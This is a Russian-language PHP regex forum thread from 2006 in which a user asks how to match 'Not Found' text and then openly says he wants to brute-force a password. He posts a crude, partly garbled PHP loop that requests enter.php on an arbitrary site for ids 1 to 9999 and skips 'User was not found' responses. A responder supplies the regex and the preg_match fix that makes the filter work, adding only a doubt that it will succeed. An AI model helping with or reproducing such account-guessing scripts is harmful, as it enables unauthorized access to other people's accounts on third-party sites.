Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Самоучитель PHP 5 / 6 (3 издание). Авторы: Кузнецов М.В., Симдянов И.В. MySQL 5. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В. PHP Puzzles. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум Регулярные Выражения

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Обнаружить фразу "Not Found"
 
 автор: Specter   (19.12.2006 в 14:11)   письмо автору
 
 


if($php=="$err") {
continue; } 
else {
echo " $php <br/>
$i "; } } 

какое рег. выражение написать для $err чтобы в нем был текст "любые_символы Not Found любые_символы" ?

   
 
 автор: cheops   (19.12.2006 в 16:16)   письмо автору
 
   для: Specter   (19.12.2006 в 14:11)
 

Хм... должно подойти следующее регулярное выражение
"|^.*Not Found.*$|is"

   
 
 автор: Specter   (19.12.2006 в 16:44)   письмо автору
 
   для: cheops   (19.12.2006 в 16:16)
 

Я хочу сделать подбор пароля напиши как правильнее будет.

<?php
$err 
"|^.*User was not found.*$|is";
for(
$i=1$i 9999$i++)   {
$site $_GET["site"];
$file "enter.php?id=".$i."&ps=".$pass.""
$php $php[$i];
$php file("http://$site/$file");
$php implode(""$php);
if(
$php=="$err") { continue; } 
else {
echo 
$php <br/>
$i "; } }
?>
надо сделать так чтобы если скрипт встретит фразу $err он ее не выводил.

   
 
 автор: cheops   (19.12.2006 в 16:51)   письмо автору
 
   для: Specter   (19.12.2006 в 16:44)
 

В этом случае, обычно вместо
<?php
  
if($php=="$err") { continue; } 
?>

используют следующую конструкцию
<?php
  
if(preg_match("$err",$php)) { continue; } 
?>

PS Однако вряд ли вам удасться подобрать таким способом пароль через сеть.

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования